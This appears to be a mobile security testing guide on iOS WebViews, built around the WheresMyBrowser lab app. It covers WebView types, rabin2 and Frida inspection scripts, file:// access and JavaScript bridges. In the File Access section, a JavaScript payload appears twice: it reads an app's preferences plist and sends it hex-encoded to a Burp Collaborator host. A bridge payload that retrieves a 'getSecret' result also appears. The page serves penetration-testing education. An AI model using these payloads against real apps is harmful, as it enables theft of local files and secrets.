# iOS WebViews

## WebViews types

WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them.

* ****[**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**.
* ****[**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content.
  * **JavaScript** is enabled by default but thanks to the **`javaScriptEnabled`** property of `WKWebView`, it **can be completely disabled**, preventing all script injection flaws.
  * The **`JavaScriptCanOpenWindowsAutomatically`** can be used to **prevent** JavaScript from **opening new windows**, such as pop-ups.
  * The **`hasOnlySecureContent`** property can be used to verify resources loaded by the WebView are retrieved through encrypted connections.
  * `WKWebView` implements out-of-process rendering, so **memory corruption bugs won't affect** the main app process.
*   ****[**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** It should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements:

    * A read-only address field with a security indicator.
    * An Action ("**Share**") **button**.
    * A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari.

    ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media)

    * **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface.
    * `SFSafariViewController` also **shares cookies** and other website data with **Safari**.
    * The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data.
    * According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**.

## Discovering WebViews Configuration

### Static Analysis

**UIWebView**

```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9   9  10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813  24  25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599  23  24 () ascii _OBJC_CLASS_$_UIWebView
```

**WKWebView**

```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3   9  10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670  17  18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960  24  25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4  23  24 () ascii _OBJC_CLASS_$_WKWebView
```

Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):

```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```

#### Testing JavaScript Configuration

For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`:

```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```

If only having the compiled binary you can search for this in it:

```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7  17  18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9  21  22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```

#### Testing OnlySecureContent

In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\
In the compiled binary:

```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```

You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).

### Dynamic Analysis

It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`:

{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
  onMatch: function (ui) {
    console.log('onMatch: ', ui);
    console.log('URL: ', ui.request().toString());
  },
  onComplete: function () {
    console.log('done for UIWebView!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
  onMatch: function (sf) {
    console.log('onMatch: ', sf);
  },
  onComplete: function () {
    console.log('done for SFSafariViewController!');
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
  }
});

ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
  }
});
```
{% endcode %}

Load it with:

```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>

hasOnlySecureContent:  false
```

## WebView Protocol Handling

Several default schemes are available that are being interpreted in a WebView on iOS, for example:

* http(s)://
* file://
* tel://

WebViews can load remote content from an endpoint, but they can also load local content from the app data directory. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.

### WebView content load

* **UIWebView**: It can use deprecated methods [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc)to load content.
* **WKWebView**: It can use the methods  [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) or [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) to load local HTML files and `loadRequest:` for web content. Typically, the local files are loaded in combination with methods including, among others: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) or [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). In addition, you should also verify if the app is using the method [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Its first parameter is `URL` and contains the URL to be loaded in the WebView, its second parameter `allowingReadAccessToURL` may contain a single file or a directory. If containing a single file, that file will be available to the WebView. However, if it contains a directory, all files on that **directory will be made available to the WebView**. Therefore, it is worth inspecting this and in case it is a directory, verifying that no sensitive data can be found inside it.

If you have the source code you can search for those methods. Having the **compiled** **binary** you can also search for these methods:&#x20;

```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```

### File Access

* **UIWebView:**&#x20;
  * The `file://` scheme is always enabled.
  * File access from `file://` URLs is always enabled.
  * Universal access from `file://` URLs is always enabled.
  * If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is **not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources.

{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
{% endtab %}
{% endtabs %}

* **WKWebView**:
  * **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from other `file://` scheme URLs.
  * **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from any origin.

You can search for those functions in the source code of the application or in the compiled binary.\
Also, you can use the following frida script to find this information:

```bash
ObjC.choose(ObjC.classes['WKWebView'], {
  onMatch: function (wk) {
    console.log('onMatch: ', wk);
    console.log('URL: ', wk.URL().toString());
    console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
    console.log('allowFileAccessFromFileURLs: ',
            wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
    console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
    console.log('allowUniversalAccessFromFileURLs: ',
            wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
  },
  onComplete: function () {
    console.log('done for WKWebView!');
  }
});
```

```bash
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

onMatch:  <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL:  file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
        Library/WKWebView/scenario1.html
javaScriptEnabled:  true
allowFileAccessFromFileURLs:  0
hasOnlySecureContent:  false
allowUniversalAccessFromFileURLs:  0
```

#### Exfiltrate arbitrary files

```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
    var hex, i;
    var result = "";
    for (i=0; i<this.length; i++) {
        hex = this.charCodeAt(i).toString(16);
        result += ("000"+hex).slice(-4);
    }
    return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr2 = new XMLHttpRequest();
        xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
        xhr2.send(null);
    }
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```

## Native Methods Exposed Through WebViews

Since iOS 7, Apple introduced APIs that allow **communication between the JavaScript runtime in the WebView and the native** Swift or Objective-C objects.

There are two fundamental ways of how native code and JavaScript can communicate:

* **JSContext**: When an Objective-C or Swift block is assigned to an identifier in a `JSContext`, JavaScriptCore automatically wraps the block in a JavaScript function.
* **JSExport protocol**: Properties, instance methods and class methods declared in a `JSExport`-inherited protocol are mapped to JavaScript objects that are available to all JavaScript code. Modifications of objects that are in the JavaScript environment are reflected in the native environment.

Note that **only class members defined in the `JSExport`** protocol are made accessible to JavaScript code.\
Look out for code that maps native objects to the `JSContext` associated with a WebView and analyze what functionality it exposes, for example no sensitive data should be accessible and exposed to WebViews.\
In Objective-C, the `JSContext` associated with a `UIWebView` is obtained as follows:

```objectivec
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```

JavaScript code in a **`WKWebView` can still send messages back to the native app but in contrast to `UIWebView`, it is not possible to directly reference the `JSContext`** of a `WKWebView`. Instead, communication is implemented using a messaging system and using the `postMessage` function, which automatically serializes JavaScript objects into native Objective-C or Swift objects. Message handlers are configured using the method [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).

### Enabling JavascriptBridge

```swift
func enableJavaScriptBridge(_ enabled: Bool) {
    options_dict["javaScriptBridge"]?.value = enabled
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

    if enabled {
            let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
            userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
    }
}
```

### Sending Message

Adding a script message handler with name `"name"` (or `"javaScriptBridge"` in the example above) causes the JavaScript function `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` to be defined in all frames in all web views that use the user content controller. It can be then [used from the HTML file like this](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):

```javascript
function invokeNativeOperation() {
    value1 = document.getElementById("value1").value
    value2 = document.getElementById("value2").value
    window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"

document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```

Once the Native function es executed it usually will **execute some JavaScript inside the web page** (see `evaluateJavascript` below) you can be interested on **overriding the function** that is going to be executed to **steal the result**.\
For example, in the script below the function **`javascriptBridgeCallBack`** is going to be executed with 2 params (the called function and the **result**). If you control the HTML that is going to be loaded you can create an **alert with the result** like:

```markup
<html>
    <script>
        document.location = "javascriptbridge://getSecret"
        function javascriptBridgeCallBack(name, result) {
            alert(result);
        }
    </script>
</html>
```

### Called Function

The called function resides in [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):

```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {

//...

case "multiplyNumbers":

        let arg1 = Double(messageArray[1])!
        let arg2 = Double(messageArray[2])!
        result = String(arg1 * arg2)
//...

let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
```

### Testing

In order to test send a postMessage inside an application you can:

* Change the servers response (MitM)
* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`).

## Debugging iOS WebViews

(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))

In iOS webviews, messages passed to `console.log()` are _not_ printed to the Xcode logs. It's still relatively easy to debug web content with Safari's developer tools, although there are a couple of limitations:

* Debugging iOS webviews requires Safari, so your dev computer must be running macOS.
* You can only debug webviews in applications loaded onto your device through Xcode. You can't debug webviews in apps installed through the App Store or Apple Configurator.

With those limitations in mind, here are the steps to remotely debug a webview in iOS:

* First, enable the Safari Web Inspector on your iOS device by opening the iOS _Settings_ app, navigating to **Settings > Safari > Advanced**, and toggling the _Web Inspector_ option on.

![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)

* Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to **Safari > Preferences** in the menu bar. In the preferences pane that appears, click on the _Advanced_ tab and then enable the _Show Develop menu_ option at the bottom. After you do that, you can close the preferences pane.

![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)

* Connect your iOS device to your dev computer and launch your app.
* In Safari on your dev computer, click on _Develop_ in the menu bar and hover over the dropdown option that is your iOS device's name to show a list of webview instances running on your iOS device.

![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)

* Click the dropdown option for the webview that you wish to debug. This will open a new Safari Web Inspector window for inspecting the webview.

![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)

## References

* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)